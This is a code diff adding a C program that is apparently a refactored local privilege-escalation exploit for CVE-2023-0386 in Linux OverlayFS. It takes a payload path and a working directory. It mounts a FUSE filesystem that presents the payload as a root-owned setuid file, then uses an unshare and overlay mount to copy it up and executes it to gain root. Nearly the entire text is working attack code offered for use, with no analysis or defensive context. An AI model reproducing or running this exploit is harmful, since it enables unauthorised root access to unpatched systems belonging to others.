|
| 1 | +// Kudos to https://github.com/xkaneiki/CVE-2023-0386 |
| 2 | +// Just refactored and eased code to only one binary. |
| 3 | + |
| 4 | +#define FUSE_USE_VERSION 29 |
| 5 | +#include <errno.h> |
| 6 | +#include <fuse.h> |
| 7 | +#include <stdio.h> |
| 8 | +#include <string.h> |
| 9 | +#include <stdlib.h> |
| 10 | +#include <sched.h> |
| 11 | +#include <sys/mman.h> |
| 12 | +#include <sys/types.h> |
| 13 | +#include <unistd.h> |
| 14 | +#include <signal.h> |
| 15 | + |
| 16 | +char SHELL[0x5000000]; |
| 17 | + |
| 18 | +#define STR_LENGTH 500 |
| 19 | +char DIR_BASE[STR_LENGTH]; |
| 20 | +char DIR_WORK[STR_LENGTH]; |
| 21 | +char DIR_LOWER[STR_LENGTH]; |
| 22 | +char DIR_UPPER[STR_LENGTH]; |
| 23 | +char DIR_MERGE[STR_LENGTH]; |
| 24 | + |
| 25 | + |
| 26 | +void fatal(const char *msg) |
| 27 | +{ |
| 28 | + perror(msg); |
| 29 | + exit(1); |
| 30 | +} |
| 31 | + |
| 32 | +static int getattr_callback(const char *path, struct stat *stbuf) |
| 33 | +{ |
| 34 | + printf("%s\n", "[+] getattr_callback"); |
| 35 | + memset(stbuf, 0, sizeof(struct stat)); |
| 36 | + |
| 37 | + if (strcmp(path, "/file") == 0) |
| 38 | + { |
| 39 | + printf("%s\n", path); |
| 40 | + stbuf->st_mode = S_IFREG | 04777; |
| 41 | + stbuf->st_nlink = 1; |
| 42 | + stbuf->st_uid = 0; |
| 43 | + stbuf->st_gid = 0; |
| 44 | + stbuf->st_size = sizeof(SHELL); |
| 45 | + return 0; |
| 46 | + } |
| 47 | + else if (strcmp(path, "/") == 0) |
| 48 | + { |
| 49 | + printf("%s\n", path); |
| 50 | + stbuf->st_mode = S_IFDIR | 0777; |
| 51 | + stbuf->st_nlink = 2; |
| 52 | + stbuf->st_uid = 1000; |
| 53 | + stbuf->st_gid = 1000; |
| 54 | + return 0; |
| 55 | + } |
| 56 | + return -ENOENT; |
| 57 | +} |
| 58 | + |
| 59 | +static int open_callback(const char *path, struct fuse_file_info *fi) |
| 60 | +{ |
| 61 | + printf("%s\n", "[+] open_callback"); |
| 62 | + printf("%s\n", path); |
| 63 | + if (strcmp(path, "file") == 0) |
| 64 | + { |
| 65 | + int fd = open("", fi->flags); |
| 66 | + |
| 67 | + return -errno; |
| 68 | + } |
| 69 | + return 0; |
| 70 | +} |
| 71 | + |
| 72 | +static int read_callback(const char *path, |
| 73 | + char *buf, size_t size, off_t offset, |
| 74 | + struct fuse_file_info *fi) |
| 75 | +{ |
| 76 | + printf("%s\n", "[+] read_callback"); |
| 77 | + printf(" path : %s\n", path); |
| 78 | + printf(" size : 0x%lx\n", size); |
| 79 | + printf(" offset: 0x%lx\n", offset); |
| 80 | + char tmp; |
| 81 | + if (strcmp(path, "/file") == 0) |
| 82 | + { |
| 83 | + size_t len = sizeof(SHELL); |
| 84 | + if (offset >= len) |
| 85 | + return 0; |
| 86 | + if ((size > len) || (offset + size > len)) |
| 87 | + { |
| 88 | + memcpy(buf, SHELL + offset, len - offset); |
| 89 | + return len - offset; |
| 90 | + } |
| 91 | + else |
| 92 | + { |
| 93 | + memcpy(buf, SHELL + offset, size); |
| 94 | + return size; |
| 95 | + } |
| 96 | + } |
| 97 | + return -ENOENT; |
| 98 | +} |
| 99 | + |
| 100 | + |
| 101 | +// needed for touch |
| 102 | +static int ioctl_callback(const char *p, int cmd, void *arg, |
| 103 | + struct fuse_file_info *fi, unsigned int flags, void *data) |
| 104 | +{ |
| 105 | + printf("%s\n", "[+] ioctl callback"); |
| 106 | + printf("path %s\n", p); |
| 107 | + printf("cmd 0x%x\n", cmd); |
| 108 | + return 0; |
| 109 | +} |
| 110 | + |
| 111 | +static int readdir_callback(const char *path, void *buf, fuse_fill_dir_t filler, off_t offset, struct fuse_file_info *fi) |
| 112 | +{ |
| 113 | + printf("%s\n", "[+] readdir"); |
| 114 | + filler(buf, "file", NULL, 0); |
| 115 | + return 0; |
| 116 | +} |
| 117 | + |
| 118 | +static struct fuse_operations fops = { |
| 119 | + .getattr = getattr_callback, |
| 120 | + .open = open_callback, |
| 121 | + .read = read_callback, |
| 122 | + .ioctl = ioctl_callback, |
| 123 | + .readdir = readdir_callback, |
| 124 | +}; |
| 125 | + |
| 126 | +void start_fuse() |
| 127 | +{ |
| 128 | + struct fuse_args args = FUSE_ARGS_INIT(0, NULL); |
| 129 | + struct fuse_chan *chan; |
| 130 | + struct fuse *fuse; |
| 131 | + |
| 132 | + if (!(chan = fuse_mount(DIR_LOWER, &args))) |
| 133 | + fatal("fuse_mount"); |
| 134 | + |
| 135 | + if (!(fuse = fuse_new(chan, &args, &fops, sizeof(fops), NULL))) |
| 136 | + { |
| 137 | + fuse_unmount(DIR_LOWER, chan); |
| 138 | + fatal("fuse_new"); |
| 139 | + } |
| 140 | + |
| 141 | + fuse_set_signal_handlers(fuse_get_session(fuse)); |
| 142 | + fuse_loop_mt(fuse); |
| 143 | + fuse_unmount(DIR_LOWER, chan); |
| 144 | +} |
| 145 | + |
| 146 | +void preps() |
| 147 | +{ |
| 148 | + char buf[4096]; |
| 149 | + if (mkdir(DIR_BASE, 0777)) |
| 150 | + perror("mkdir"); |
| 151 | + sprintf(buf, "rm -rf '%s/*'", DIR_BASE); |
| 152 | + system(buf); |
| 153 | + if (mkdir(DIR_LOWER, 0777)) |
| 154 | + perror("mkdir"); |
| 155 | + if (mkdir(DIR_UPPER, 0777)) |
| 156 | + perror("mkdir"); |
| 157 | + if (mkdir(DIR_WORK, 0777)) |
| 158 | + perror("mkdir"); |
| 159 | + if (mkdir(DIR_MERGE, 0777)) |
| 160 | + perror("mkdir"); |
| 161 | +} |
| 162 | + |
| 163 | +int main(int argc, char const *argv[]) |
| 164 | +{ |
| 165 | + char buf[8192]; |
| 166 | + // argv[1] = payload to launch |
| 167 | + // argv[2] = base_dir |
| 168 | + if (argc < 3) |
| 169 | + { |
| 170 | + puts("[-] usage:"); |
| 171 | + puts("./exploit [payload path] [base_dir path]"); |
| 172 | + return -1; |
| 173 | + } |
| 174 | + |
| 175 | + int fd = open(argv[1], O_RDONLY); |
| 176 | + if (fd < 0) |
| 177 | + { |
| 178 | + fatal("open payload"); |
| 179 | + } |
| 180 | + int clen = 0; |
| 181 | + while (read(fd, SHELL + clen, 1) > 0) |
| 182 | + clen++; |
| 183 | + close(fd); |
| 184 | + |
| 185 | + strcpy(DIR_BASE, argv[2]); |
| 186 | + snprintf(DIR_WORK, STR_LENGTH, "%s/%s", argv[2], "work"); |
| 187 | + snprintf(DIR_LOWER, STR_LENGTH, "%s/%s", argv[2], "lower"); |
| 188 | + snprintf(DIR_UPPER, STR_LENGTH, "%s/%s", argv[2], "upper"); |
| 189 | + snprintf(DIR_MERGE, STR_LENGTH, "%s/%s", argv[2], "merge"); |
| 190 | + |
| 191 | + preps(); |
| 192 | + |
| 193 | + setuid(0); |
| 194 | + setgid(0); |
| 195 | + |
| 196 | + int pid = fork(); |
| 197 | + if (pid == 0) |
| 198 | + { |
| 199 | + start_fuse(); |
| 200 | + } |
| 201 | + else |
| 202 | + { |
| 203 | + printf("Waiting 1 sec...\n"); |
| 204 | + sleep(1); |
| 205 | + sprintf(buf, "unshare -r -m sh -c 'mount -t overlay overlay -o lowerdir=%s,upperdir=%s,workdir=%s %s && ls -la %s && touch %s/file'", DIR_LOWER, DIR_UPPER, DIR_WORK, DIR_MERGE, DIR_MERGE, DIR_MERGE); |
| 206 | + printf("%s\n", buf); |
| 207 | + system(buf); |
| 208 | + kill(pid, SIGINT); |
| 209 | + sprintf(buf, "%s/file", DIR_UPPER); |
| 210 | + printf("%s\n", buf); |
| 211 | + system(buf); |
| 212 | + } |
| 213 | + return 0; |
| 214 | +} |
0 commit comments